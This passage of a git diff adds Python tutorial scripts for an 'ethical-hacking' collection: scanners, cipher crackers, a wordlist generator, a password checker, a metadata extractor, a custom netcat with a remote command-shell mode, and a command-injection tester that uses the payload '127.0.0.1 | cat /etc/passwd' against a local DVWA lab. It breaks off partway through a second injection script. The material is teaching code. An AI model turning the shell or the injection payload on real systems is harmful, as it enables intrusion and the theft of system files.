+    major = (device_class >> 8) & 0x1F # divide by 2**8 and mask with 0x1F (take the last 5 bits)
+    minor = (device_class >> 2) & 0x3F # divide by 2**2 and mask with 0x3F (take the last 6 bits)
+    major_class_name = MAJOR_CLASSES.get(major, "Unknown Major Class")
+    minor_class_key = (major, minor)
+    minor_class_name = MINOR_CLASSES.get(minor_class_key, "Unknown Minor Class")
+    return major_class_name, minor_class_name
+
+
+def scan_bluetooth_devices():
+    try:
+        discovered_devices = bluetooth.discover_devices(duration=8, lookup_names=True, lookup_class=True)
+        print('[!] Scanning for Bluetooth devices...')
+        print(f"[!] Found {len(discovered_devices)} Devices")
+        for addr, name, device_class in discovered_devices:
+            major_class, minor_class = parse_device_class(device_class)
+            print(f"[+] Device Name: {name}")
+            print(f"    Address: {addr}")
+            print(f"    Device Class: {device_class} ({major_class}, {minor_class})")
+    except Exception as e:
+        print(f"[ERROR] An error occurred: {e}")
+
+if __name__ == "__main__":
+    scan_bluetooth_devices()
diff --git a/ethical-hacking/bluetooth-scanner/requirements.txt b/ethical-hacking/bluetooth-scanner/requirements.txt
new file mode 100644
index 00000000..0c35f5ce
--- /dev/null
+++ b/ethical-hacking/bluetooth-scanner/requirements.txt
@@ -0,0 +1 @@
+pybluez2
\ No newline at end of file
diff --git a/ethical-hacking/bruteforce-wordlist-generator/README.md b/ethical-hacking/bruteforce-wordlist-generator/README.md
new file mode 100644
index 00000000..7a2e8b50
--- /dev/null
+++ b/ethical-hacking/bruteforce-wordlist-generator/README.md
@@ -0,0 +1 @@
+# [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py
new file mode 100644
index 00000000..13f2b1f7
--- /dev/null
+++ b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py
@@ -0,0 +1,36 @@
+# Import the argparse module for handling command line arguments.
+# Import the itertools module for generating combinations.
+import argparse, itertools
+
+
+# Define a function to generate a wordlist based on given parameters.
+def generate_wordlist(characters, min_length, max_length, output_file):
+    # Open the output file in write mode.
+    with open(output_file, 'w') as file:
+        # Iterate over the range of word lengths from min_length to max_length.
+        for length in range(min_length, max_length + 1):
+            # Generate all possible combinations of characters with the given length.
+            for combination in itertools.product(characters, repeat=length):
+                # Join the characters to form a word and write it to the file
+                word = ''.join(combination)
+                file.write(word + '\n')
+
+
+# Create an ArgumentParser object for handling command line arguments.
+parser = argparse.ArgumentParser(description="Generate a custom wordlist similar to crunch.")
+
+# Define command line arguments.
+parser.add_argument("-c", "--characters", type=str, default="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
+                    help="Set of characters to include in the wordlist")
+parser.add_argument("-min", "--min_length", type=int, default=4, help="Minimum length of the words")
+parser.add_argument("-max", "--max_length", type=int, default=6, help="Maximum length of the words")
+parser.add_argument("-o", "--output_file", type=str, default="custom_wordlist.txt", help="Output file name")
+
+# Parse the command line arguments.
+args = parser.parse_args()
+
+# Call the generate_wordlist function with the provided arguments.
+generate_wordlist(args.characters, args.min_length, args.max_length, args.output_file)
+
+# Print a message indicating the wordlist has been generated and saved.
+print(f"[+] Wordlist generated and saved to {args.output_file}")
diff --git a/ethical-hacking/caesar-cipher/README.md b/ethical-hacking/caesar-cipher/README.md
new file mode 100644
index 00000000..9c91133f
--- /dev/null
+++ b/ethical-hacking/caesar-cipher/README.md
@@ -0,0 +1,2 @@
+# [How to Implement the Caesar Cipher in Python](https://thepythoncode.com/article/implement-caesar-cipher-in-python)
+# [How to Crack the Caesar Cipher in Python](https://thepythoncode.com/article/how-to-crack-caesar-cipher-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/caesar-cipher/caeser_cipher.py b/ethical-hacking/caesar-cipher/caeser_cipher.py
new file mode 100644
index 00000000..2bffbc69
--- /dev/null
+++ b/ethical-hacking/caesar-cipher/caeser_cipher.py
@@ -0,0 +1,46 @@
+import sys  # The sys module for system-related operations.
+from colorama import Fore, init  # Import the colorama for colored text
+
+init()  # Initialize the colorama library for colored text.
+
+
+def implement_caesar_cipher(message, key, decrypt=False):
+    # Initialize an empty string to store the result.
+    result = ""
+    # Iterate through each character in the user's input message.
+    for character in message:
+        # Check if the character is an alphabet letter.
+        if character.isalpha():
+            # Determine the shift amount based. i.e the amount of times to be shifted e.g 2,3,4....
+            shift = key if not decrypt else -key
+            # Check if the character is a lowercase letter.
+            if character.islower():
+                # Apply Caesar cipher transformation for lowercase letters.
+                result += chr(((ord(character) - ord('a') + shift) % 26) + ord('a'))
+            else:
+                # Apply Caesar cipher transformation for uppercase letters.
+                result += chr(((ord(character) - ord('A') + shift) % 26) + ord('A'))
+        else:
+            # Preserve non-alphabet characters as they are.
+            result += character
+    return result  # Return the encrypted or decrypted result.
+
+
+# Prompt the user to enter the text to be encrypted
+text_to_encrypt = input(f"{Fore.GREEN}[?] Please Enter your text/message: ")
+# Prompt the user to specify the shift length (the key).
+key = int(input(f"{Fore.GREEN}[?] Please specify the shift length: "))
+
+
+# Check if the specified key is within a valid range (0 to 25).
+if key > 25 or key < 0:
+    # Display an error message if the key is out of range.
+    print(f"{Fore.RED}[!] Your shift length should be between 0 and 25 ")
+    sys.exit()  # Exit the program if the key is invalid.
+
+# Encrypt the user's input using the specified key.
+encrypted_text = implement_caesar_cipher(text_to_encrypt, key)
+
+# Display the encrypted text.
+print(f"{Fore.GREEN}[+] {text_to_encrypt} {Fore.MAGENTA}has been encrypted as {Fore.RED}{encrypted_text}")
+
diff --git a/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py
new file mode 100644
index 00000000..6d7f0d9d
--- /dev/null
+++ b/ethical-hacking/caesar-cipher/crack_ceaser_cipher.py
@@ -0,0 +1,55 @@
+# Import colorama for colorful text.
+from colorama import Fore, init
+
+init()
+
+
+# Define a function for Caesar cipher encryption.
+def implement_caesar_cipher(text, key, decrypt=False):
+    # Initialize an empty string to store the result.
+    result = ""
+
+    # Iterate through each character in the input text.
+    for char in text:
+        # Check if the character is alphabetical.
+        if char.isalpha():
+            # Determine the shift value using the provided key (or its negation for decryption).
+            shift = key if not decrypt else -key
+
+            # Check if the character is lowercase
+            if char.islower():
+                # Apply the Caesar cipher encryption/decryption formula for lowercase letters.
+                result += chr(((ord(char) - ord('a') + shift) % 26) + ord('a'))
+            else:
+                # Apply the Caesar cipher encryption/decryption formula for uppercase letters.
+                result += chr(((ord(char) - ord('A') + shift) % 26) + ord('A'))
+        else:
+            # If the character is not alphabetical, keep it as is e.g. numbers, punctuation
+            result += char
+
+    # Return the result, which is the encrypted or decrypted text
+    return result
+
+
+# Define a function for cracking the Caesar cipher.
+def crack_caesar_cipher(ciphertext):
+    # Iterate through all possible keys (0 to 25) as there 26 alphabets.
+    for key in range(26):
+        # Call the caesar_cipher function with the current key to decrypt the text.
+        decrypted_text = implement_caesar_cipher(ciphertext, key, decrypt=True)
+
+        # Print the result, showing the decrypted text for each key
+        print(f"{Fore.RED}Key {key}: {decrypted_text}")
+
+
+# Initiate a continuous loop so the program keeps running.
+while True:
+    # Accept user input.
+    encrypted_text = input(f"{Fore.GREEN}[?] Please Enter the text/message to decrypt: ")
+    # Check if user does not specify anything.
+    if not encrypted_text:
+        print(f"{Fore.RED}[-] Please specify the text to decrypt.")
+    else:
+        crack_caesar_cipher(encrypted_text)
+
+
diff --git a/ethical-hacking/caesar-cipher/requirements.txt b/ethical-hacking/caesar-cipher/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/ethical-hacking/caesar-cipher/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/checking-password-strength/README.md b/ethical-hacking/checking-password-strength/README.md
new file mode 100644
index 00000000..a0677af7
--- /dev/null
+++ b/ethical-hacking/checking-password-strength/README.md
@@ -0,0 +1 @@
+# [How to Check Password Strength with Python](https://thepythoncode.com/article/test-password-strength-with-python)
\ No newline at end of file
diff --git a/ethical-hacking/checking-password-strength/check_password_strength.py b/ethical-hacking/checking-password-strength/check_password_strength.py
new file mode 100644
index 00000000..cf897997
--- /dev/null
+++ b/ethical-hacking/checking-password-strength/check_password_strength.py
@@ -0,0 +1,37 @@
+from zxcvbn import zxcvbn
+import pprint, getpass, sys
+
+
+def test_single_password():
+    password = getpass.getpass("[?] Enter your password: ")
+    result = zxcvbn(password)
+    print(f"Value: {result['password']}")
+    print(f"Password Score: {result['score']}/4")
+    print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}")
+    print(f"Feedback: {result['feedback']['suggestions']}")
+    #pprint.pp(result)
+
+
+def test_multiple_passwords(password_file):
+    try:
+        with open(password_file, 'r') as passwords:
+            for password in passwords:
+                result = zxcvbn(password.strip('\n'))
+                print('\n[+] ######################')# for readability
+                print(f"Value: {result['password']}")
+                print(f"Password Score: {result['score']}/4")
+                print(f"Crack Time: {result['crack_times_display']['offline_slow_hashing_1e4_per_second']}")
+                print(f"Feedback: {result['feedback']['suggestions']}")
+                #pprint.pp(result)
+            
+    except Exception:
+        print('[!] Please make sure to specify an accessible file containing passwords.')
+
+
+if len(sys.argv) == 2:
+    test_multiple_passwords(sys.argv[1])
+elif len(sys.argv) == 1:
+    test_single_password()
+else:
+    print('Usage: python test_password_strength.py <file> (for a file containing passwords) or \
+        \npython test_password_strength.py (for a single password.)')
\ No newline at end of file
diff --git a/ethical-hacking/checking-password-strength/passwords.txt b/ethical-hacking/checking-password-strength/passwords.txt
new file mode 100644
index 00000000..78b151ad
--- /dev/null
+++ b/ethical-hacking/checking-password-strength/passwords.txt
@@ -0,0 +1,4 @@
+password
+1234567
+abc123cba159
+Sioplabxtre_9lTGCE
diff --git a/ethical-hacking/checking-password-strength/requirements.txt b/ethical-hacking/checking-password-strength/requirements.txt
new file mode 100644
index 00000000..7f766a99
--- /dev/null
+++ b/ethical-hacking/checking-password-strength/requirements.txt
@@ -0,0 +1 @@
+zxcvbn
\ No newline at end of file
diff --git a/ethical-hacking/clickjacking-scanner/README.md b/ethical-hacking/clickjacking-scanner/README.md
new file mode 100644
index 00000000..11c88d59
--- /dev/null
+++ b/ethical-hacking/clickjacking-scanner/README.md
@@ -0,0 +1 @@
+# [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python)
\ No newline at end of file
diff --git a/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py
new file mode 100644
index 00000000..c8933bac
--- /dev/null
+++ b/ethical-hacking/clickjacking-scanner/clickjacking_scanner.py
@@ -0,0 +1,55 @@
+import requests, argparse
+
+
+# Function to check if a website is vulnerable to clickjacking.
+def check_clickjacking(url):
+    try:
+        # Add https:// schema if not present in the URL.
+        if not url.startswith('http://') and not url.startswith('https://'):
+            url = 'https://' + url
+
+        # Send a GET request to the URL.
+        response = requests.get(url)
+        headers = response.headers
+
+        # Check for X-Frame-Options header.
+        if 'X-Frame-Options' not in headers:
+            return True
+        
+        # Get the value of X-Frame-Options and check it..
+        x_frame_options = headers['X-Frame-Options'].lower()
+        if x_frame_options != 'deny' and x_frame_options != 'sameorigin':
+            return True
+        
+        return False
+    except requests.exceptions.RequestException as e:
+        print(f"An error occurred while checking {url} - {e}")
+        return False
+
+# Main function to parse arguments and check the URL.
+def main():
+    parser = argparse.ArgumentParser(description='Clickjacking Vulnerability Scanner')
+    parser.add_argument('url', type=str, help='The URL of the website to check')
+    parser.add_argument('-l', '--log', action='https://github.com/store_true', help='Print out the response headers for analysis')
+    args = parser.parse_args()
+
+    url = args.url
+    is_vulnerable = check_clickjacking(url)
+    
+    if is_vulnerable:
+        print(f"[+] {url} may be vulnerable to clickjacking.")
+    else:
+        print(f"[-] {url} is not vulnerable to clickjacking.")
+    
+    if args.log:
+        # Add https:// schema if not present in the URL for response printing.
+        if not url.startswith('http://') and not url.startswith('https://'):
+            url = 'https://' + url
+
+        print("\nResponse Headers:")
+        response = requests.get(url)
+        for header, value in response.headers.items():
+            print(f"{header}: {value}")
+
+if __name__ == '__main__':
+    main()
diff --git a/ethical-hacking/clickjacking-scanner/requirements .txt b/ethical-hacking/clickjacking-scanner/requirements .txt
new file mode 100644
index 00000000..663bd1f6
--- /dev/null
+++ b/ethical-hacking/clickjacking-scanner/requirements .txt	
@@ -0,0 +1 @@
+requests
\ No newline at end of file
diff --git a/ethical-hacking/crack-affine-cipher/README.md b/ethical-hacking/crack-affine-cipher/README.md
new file mode 100644
index 00000000..bd70cb4b
--- /dev/null
+++ b/ethical-hacking/crack-affine-cipher/README.md
@@ -0,0 +1 @@
+# [How to Crack the Affine Cipher in Python](https://thepythoncode.com/article/how-to-crack-the-affine-cipher-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py b/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py
new file mode 100644
index 00000000..252fde0a
--- /dev/null
+++ b/ethical-hacking/crack-affine-cipher/affine_cipher_decrypt.py
@@ -0,0 +1,92 @@
+# Import the needed libraries.
+import string
+from colorama import Fore, init
+
+# Initialise colorama.
+init()
+
+
+# Function to get Euclidean Algorithm.
+def extended_gcd(a, b):
+    """
+    Extended Euclidean Algorithm to find the greatest common divisor
+    and coefficients x, y such that ax + by = gcd(a, b).
+    """
+    if a == 0:
+        return (b, 0, 1)
+    else:
+        g, x, y = extended_gcd(b % a, a)
+        return (g, y - (b // a) * x, x)
+
+
+# Function to get the modular Inverse
+def modular_inverse(a, m):
+    """
+    Compute the modular multiplicative inverse of a modulo m.
+    Raises an exception if the modular inverse does not exist.
+    """
+    g, x, y = extended_gcd(a, m)
+    if g != 1:
+        raise Exception('Modular inverse does not exist')
+    else:
+        return x % m
+
+
+# Function to decrypt our message.
+def affine_decrypt(ciphertext, a, b):
+    """
+    Decrypt a message encrypted with the Affine Cipher using
+    the given key components a and b.
+    """
+    alphabet = string.ascii_uppercase
+    m = len(alphabet)
+    plaintext = ''
+
+    # Compute the modular multiplicative inverse of a.
+    a_inv = modular_inverse(a, m)
+
+    # Iterate through each character in the ciphertext.
+    for char in ciphertext:
+        # Check if the character is in the alphabet
+        if char in alphabet:
+            # If it's an alphabet letter, decrypt it.
+            # Find the index of the character in the alphabet.
+            c = alphabet.index(char)
+            # Apply the decryption formula: a_inv * (c - b) mod m.
+            p = (a_inv * (c - b)) % m
+            # Append the decrypted character to the plaintext.
+            plaintext += alphabet[p]
+        else:
+            # If the character is not in the alphabet, keep it unchanged.
+            plaintext += char
+
+    # Return the decrypted plaintext.
+    return plaintext
+
+
+# Function to peform brute force attack.
+def affine_brute_force(ciphertext):
+    """
+    Brute-force attack to find possible keys for an Affine Cipher
+    and print potential decryptions for manual inspection.
+    """
+    alphabet = string.ascii_uppercase
+    m = len(alphabet)
+
+    # Iterate through possible values for a.
+    for a in range(1, m):
+        # Ensure a and m are coprime.
+        if extended_gcd(a, m)[0] == 1:
+            # Iterate through possible values for b.
+            for b in range(0, m):
+                # Decrypt using the current key.
+                decrypted_text = affine_decrypt(ciphertext, a, b)
+
+                # Print potential decryption for manual inspection.
+                print(f"Key (a={a}, b={b}): {decrypted_text}")
+
+
+ciphertext = input(f"{Fore.GREEN}[?] Enter Message to decrypt: ")
+
+# Perform a brute-force attack to find potential decrypted message.
+affine_brute_force(ciphertext)
diff --git a/ethical-hacking/crack-affine-cipher/requirements.txt b/ethical-hacking/crack-affine-cipher/requirements.txt
new file mode 100644
index 00000000..3d90aaa5
--- /dev/null
+++ b/ethical-hacking/crack-affine-cipher/requirements.txt
@@ -0,0 +1 @@
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/custom-netcat/README.md b/ethical-hacking/custom-netcat/README.md
new file mode 100644
index 00000000..81366e68
--- /dev/null
+++ b/ethical-hacking/custom-netcat/README.md
@@ -0,0 +1 @@
+# [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/custom-netcat/netcat.py b/ethical-hacking/custom-netcat/netcat.py
new file mode 100644
index 00000000..73313932
--- /dev/null
+++ b/ethical-hacking/custom-netcat/netcat.py
@@ -0,0 +1,322 @@
+import sys, socket, getopt, threading, subprocess, signal, time
+
+
+class NetCat:
+    def __init__(self, target, port):
+        self.listen = False
+        self.command = False
+        self.upload = False
+        self.execute = ""
+        self.target = target
+        self.upload_destination = ""
+        self.port = port
+        self.running = True
+        self.threads = []
+
+    def signal_handler(self, signum, frame):
+        print('\n[*] User requested an interrupt. Exiting gracefully.')
+        self.running = False
+        time.sleep(0.5)
+        sys.exit(0)
+
+    def run_command(self, cmd):
+        cmd = cmd.rstrip()
+        try:
+            output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
+        except subprocess.CalledProcessError as e:
+            output = e.output
+        except Exception as e:
+            output = str(e).encode()
+        return output
+
+    def handle_client(self, client_socket):
+        try:
+            if len(self.upload_destination):
+                file_buffer = ""
+                while self.running:
+                    try:
+                        data = client_socket.recv(1024)
+                        if not data:
+                            break
+                        else:
+                            file_buffer += data.decode('utf-8')
+                    except (ConnectionResetError, BrokenPipeError) as e:
+                        print(f"[!] Connection error during upload: {str(e)}")
+                        break
+                    except Exception as e:
+                        print(f"[!] Error receiving data: {str(e)}")
+                        break
+
+                try:
+                    with open(self.upload_destination, "wb") as file_descriptor:
+                        file_descriptor.write(file_buffer.encode('utf-8'))
+                    try:
+                        client_socket.send(
+                            f"Successfully saved file to {self.upload_destination}\r\n".encode('utf-8'))
+                    except (BrokenPipeError, ConnectionResetError):
+                        print("[!] Couldn't send success message - connection lost")
+                except OSError as e:
+                    print(f"[!] File operation failed: {str(e)}")
+                    try:
+                        client_socket.send(
+                            f"Failed to save file to {self.upload_destination}\r\n".encode('utf-8'))
+                    except (BrokenPipeError, ConnectionResetError):
+                        print("[!] Couldn't send error message - connection lost")
+
+            if len(self.execute) and self.running:
+                try:
+                    output = self.run_command(self.execute)
+                    client_socket.send(output)
+                except (BrokenPipeError, ConnectionResetError):
+                    print("[!] Couldn't send command output - connection lost")
+                except Exception as e:
+                    print(f"[!] Error executing command: {str(e)}")
+
+            if self.command:
+                while self.running:
+                    try:
+                        # Send prompt
+                        client_socket.send(b"<Target:#> ")
+                        
+                        # Receive command
+                        cmd_buffer = b''
+                        while b"\n" not in cmd_buffer and self.running:
+                            try:
+                                data = client_socket.recv(1024)
+                                if not data:
+                                    raise ConnectionResetError("No data received")
+                                cmd_buffer += data
+                            except socket.timeout:
+                                continue
+                            except (ConnectionResetError, BrokenPipeError):
+                                raise
+                        
+                        if not self.running:
+                            break
+
+                        # Execute command and send response
+                        try:
+                            cmd = cmd_buffer.decode().strip()
+                            if cmd.lower() in ['exit', 'quit']:
+                                print("[*] User requested exit")
+                                break
+                                
+                            output = self.run_command(cmd)
+                            if output:
+                                client_socket.send(output + b"\n")
+                            else:
+                                client_socket.send(b"Command completed without output\n")
+                                
+                        except (BrokenPipeError, ConnectionResetError):
+                            print("[!] Connection lost while sending response")
+                            break
+                        except Exception as e:
+                            error_msg = f"Error executing command: {str(e)}\n"
+                            try:
+                                client_socket.send(error_msg.encode())
+                            except:
+                                break
+
+                    except ConnectionResetError:
+                        print("[!] Connection reset by peer")
+                        break
+                    except BrokenPipeError:
+                        print("[!] Broken pipe - connection lost")
+                        break
+                    except Exception as e:
+                        print(f"[!] Error in command loop: {str(e)}")
+                        break
+
+        except Exception as e:
+            print(f"[!] Exception in handle_client: {str(e)}")
+        finally:
+            try:
+                client_socket.close()
+                print("[*] Client connection closed")
+            except:
+                pass
+
+    def server_loop(self):
+        server = None
+        try:
+            if not len(self.target):
+                self.target = "0.0.0.0"
+
+            server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+            server.bind((self.target, self.port))
+            server.listen(5)
+            
+            print(f"[*] Listening on {self.target}:{self.port}")
+
+            server.settimeout(1.0)
+
+            while self.running:
+                try:
+                    client_socket, addr = server.accept()
+                    print(f"[*] Accepted connection from {addr[0]}:{addr[1]}")
+                    
+                    client_thread = threading.Thread(
+                        target=self.handle_client,
+                        args=(client_socket,)
+                    )
+                    client_thread.daemon = True
+                    self.threads.append(client_thread)
+                    client_thread.start()
+
+                except socket.timeout:
+                    continue
+                except Exception as e:
+                    if self.running:
+                        print(f"[!] Exception in server_loop: {str(e)}")
+                    break
+
+        except Exception as e:
+            print(f"[!] Failed to create server: {str(e)}")
+        finally:
+            if server:
+                try:
+                    server.close()
+                    print("[*] Server socket closed")
+                except:
+                    pass
+
+            for thread in self.threads:
+                try:
+                    thread.join(timeout=1.0)
+                except threading.ThreadError:
+                    pass
+
+    def client_sender(self, buffer):
+        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+        try:
+            print(f"[*] Connecting to {self.target}:{self.port}")
+            client.connect((self.target, self.port))
+
+            if len(buffer):
+                try:
+                    client.send(buffer.encode('utf-8'))
+                except (BrokenPipeError, ConnectionResetError):
+                    print("[!] Failed to send initial buffer - connection lost")
+                    return
+
+            while self.running:
+                try:
+                    # Receive response from server
+                    recv_len = 1
+                    response = b''
+
+                    while recv_len:
+                        data = client.recv(4096)
+                        recv_len = len(data)
+                        response += data
+
+                        if recv_len < 4096:
+                            break
+
+                    if response:
+                        print(response.decode('utf-8'), end='')
+                    
+                    # Get next command
+                    buffer = input()
+                    if not self.running:
+                        break
+                    
+                    if buffer.lower() in ['exit', 'quit']:
+                        break
+
+                    buffer += "\n"
+                    try:
+                        client.send(buffer.encode('utf-8'))
+                    except (BrokenPipeError, ConnectionResetError):
+                        print("\n[!] Failed to send data - connection lost")
+                        break
+
+                except ConnectionResetError:
+                    print("\n[!] Connection reset by peer")
+                    break
+                except BrokenPipeError:
+                    print("\n[!] Broken pipe - connection lost")
+                    break
+                except EOFError:
+                    print("\n[!] EOF detected - exiting")
+                    break
+                except Exception as e:
+                    print(f"\n[!] Exception in client loop: {str(e)}")
+                    break
+
+        except socket.error as exc:
+            print("\n[!] Exception! Exiting.")
+            print(f"[!] Caught exception socket.error: {exc}")
+        finally:
+            print("[*] Closing connection")
+            try:
+                client.close()
+            except:
+                pass
+
+def main():
+    if len(sys.argv[1:]) == 0:
+        print("Custom Netcat")
+        print("\nSYNOPSIS")
+        print("    netcat.py [OPTIONS...]\n")
+        print("OPTIONS")
+        print("    -l, --listen              Start server in listening mode on specified host:port")
+        print("    -e, --execute=<file>      Execute specified file upon connection establishment")
+        print("    -c, --command             Initialize an interactive command shell session")
+        print("    -u, --upload=<path>       Upload file to specified destination path on connection")
+        print("    -t, --target=<host>       Specify target hostname or IP address")
+        print("    -p, --port=<port>         Specify target port number")
+        print()
+        sys.exit(0)
+
+    try:
+        opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
+                                   ["help", "listen", "execute", "target",
+                                    "port", "command", "upload"])
+        
+        for o, a in opts:
+            if o in ("-h", "--help"):
+                main()
+            elif o in ("-l", "--listen"):
+                toolkit.listen = True
+            elif o in ("-e", "--execute"):
+                toolkit.execute = a
+            elif o in ("-c", "--command"):
+                toolkit.command = True
+            elif o in ("-u", "--upload"):
+                toolkit.upload_destination = a
+            elif o in ("-t", "--target"):
+                toolkit.target = a
+            elif o in ("-p", "--port"):
+                toolkit.port = int(a)
+            else:
+                assert False, "Unhandled Option"
+
+    except getopt.GetoptError as err:
+        print(str(err))
+        main()
+
+    signal.signal(signal.SIGINT, toolkit.signal_handler)
+    signal.signal(signal.SIGTERM, toolkit.signal_handler)
+
+    try:
+        if not toolkit.listen and len(toolkit.target) and toolkit.port > 0:
+            buffer = sys.stdin.read()
+            toolkit.client_sender(buffer)
+
+        if toolkit.listen:
+            toolkit.server_loop()
+    except KeyboardInterrupt:
+        print("\n[*] User requested shutdown")
+    except Exception as e:
+        print(f"\n[!] Unexpected error: {str(e)}")
+    finally:
+        toolkit.running = False
+        print("[*] Shutdown complete")
+        sys.exit(0)
+
+if __name__ == "__main__":
+    toolkit = NetCat("", 0)
+    main()
\ No newline at end of file
diff --git a/ethical-hacking/docx-metadata-extractor/README.md b/ethical-hacking/docx-metadata-extractor/README.md
new file mode 100644
index 00000000..fc8e91dc
--- /dev/null
+++ b/ethical-hacking/docx-metadata-extractor/README.md
@@ -0,0 +1 @@
+# [How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py
new file mode 100644
index 00000000..794c1860
--- /dev/null
+++ b/ethical-hacking/docx-metadata-extractor/docs_metadata_extractor.py
@@ -0,0 +1,41 @@
+import docx  # Import the docx library for working with Word documents.
+from pprint import pprint  # Import the pprint function for pretty printing.
+
+def extract_metadata(docx_file):
+    doc = docx.Document(docx_file)  # Create a Document object from the Word document file.
+    core_properties = doc.core_properties  # Get the core properties of the document.
+
+    metadata = {}  # Initialize an empty dictionary to store metadata
+
+    # Extract core properties
+    for prop in dir(core_properties):  # Iterate over all properties of the core_properties object.
+        if prop.startswith('__'):  # Skip properties starting with double underscores (e.g., __elenent). Not needed
+            continue
+        value = getattr(core_properties, prop)  # Get the value of the property.
+        if callable(value):  # Skip callable properties (methods).
+            continue
+        if prop == 'created' or prop == 'modified' or prop == 'last_printed':  # Check for datetime properties.
+            if value:
+                value = value.strftime('%Y-%m-%d %H:%M:%S')  # Convert datetime to string format.
+            else:
+                value = None
+        metadata[prop] = value  # Store the property and its value in the metadata dictionary.
+
+    # Extract custom properties (if available).
+    try:
+        custom_properties = core_properties.custom_properties  # Get the custom properties (if available).
+        if custom_properties:  # Check if custom properties exist.
+            metadata['custom_properties'] = {}  # Initialize a dictionary to store custom properties.
+            for prop in custom_properties:  # Iterate over custom properties.
+                metadata['custom_properties'][prop.name] = prop.value  # Store the custom property name and value.
+    except AttributeError:
+        # Custom properties not available in this version.
+        pass  # Skip custom properties extraction if the attribute is not available.
+
+    return metadata  # Return the metadata dictionary.
+
+
+
+docx_path = 'test.docx'  # Path to the Word document file.
+metadata = extract_metadata(docx_path)  # Call the extract_metadata function.
+pprint(metadata)  # Pretty print the metadata dictionary.
\ No newline at end of file
diff --git a/ethical-hacking/docx-metadata-extractor/requirements.txt b/ethical-hacking/docx-metadata-extractor/requirements.txt
new file mode 100644
index 00000000..31245b28
--- /dev/null
+++ b/ethical-hacking/docx-metadata-extractor/requirements.txt
@@ -0,0 +1 @@
+python-docx
\ No newline at end of file
diff --git a/ethical-hacking/docx-metadata-extractor/test.docx b/ethical-hacking/docx-metadata-extractor/test.docx
new file mode 100644
index 00000000..5bff270e
Binary files /dev/null and b/ethical-hacking/docx-metadata-extractor/test.docx differ
diff --git a/ethical-hacking/exploit-command-injection/README.md b/ethical-hacking/exploit-command-injection/README.md
new file mode 100644
index 00000000..c0f69d8c
--- /dev/null
+++ b/ethical-hacking/exploit-command-injection/README.md
@@ -0,0 +1 @@
+# [How to Exploit Command Injection Vulnerabilities in Python](https://thepythoncode.com/article/how-to-exploit-command-injection-vulnerabilities-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner.py b/ethical-hacking/exploit-command-injection/command_injection_scanner.py
new file mode 100644
index 00000000..7a6b6333
--- /dev/null
+++ b/ethical-hacking/exploit-command-injection/command_injection_scanner.py
@@ -0,0 +1,58 @@
+# Import the necessary libraries.
+import requests
+from urllib.parse import urljoin
+
+# Define the target URL and login credentials.
+target_url = "http://192.168.134.129/dvwa/"
+login_url = urljoin(target_url, "login.php")
+login_data = {
+    "username": "admin",
+    "password": "password",
+    "Login": "Login"
+}
+
+# Define the vulnerable page URL.
+vuln_page_url = urljoin(target_url, "vulnerabilities/exec/")
+
+# Define the test payload.
+payload = "127.0.0.1 | cat /etc/passwd"
+
+
+def check_command_injection(base_url, login_url, login_data, vuln_page_url):
+    print(f"[!] Checking for command injection vulnerabilities at {vuln_page_url}")
+
+    # Authenticate with the application (DVWA).
+    session = requests.Session()
+    response = session.post(login_url, data=login_data)
+
+    if "Login failed" in response.text:
+        print("[-] Authentication failed. Please check the credentials.")
+        return
+
+    # Send the payload through the form.
+    form_data = {
+        "ip": payload,
+        "submit": "Submit"
+    }
+
+    try:
+        response = session.post(vuln_page_url, data=form_data)
+        print(f"[!] Payload used: {payload}")
+        print("[+] Response after command injection:\n")
+        print("=" * 80)
+        print(response.text)
+        print("=" * 80)
+        print("\n[!] Please inspect the response to determine if the parameter is vulnerable to command injection.\n")
+
+        # Write the response to a text file.
+        with open("response.txt", "w") as f:
+            f.write(response.text)
+        print("[+] Response written to response.txt")
+    except Exception as e:
+        print(f"[-] Error occurred while testing payload '{payload}': {e}")
+
+    print("[+] Command injection testing completed.\n")
+
+
+# Call the function with the required parameters.
+check_command_injection(target_url, login_url, login_data, vuln_page_url)
\ No newline at end of file
diff --git a/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py
new file mode 100644
index 00000000..5d78469d
--- /dev/null
+++ b/ethical-hacking/exploit-command-injection/command_injection_scanner_auto.py
@@ -0,0 +1,75 @@
+# Import the necessary libraries.
+import requests
+from urllib.parse import urljoin
+from colorama import Fore, Style, init
+
+# Initialise colorama.
+init()
+
+
+# Define the target URL and login credentials.
+target_url = "http://192.168.134.129/dvwa/"
+login_url = urljoin(target_url, "login.php")
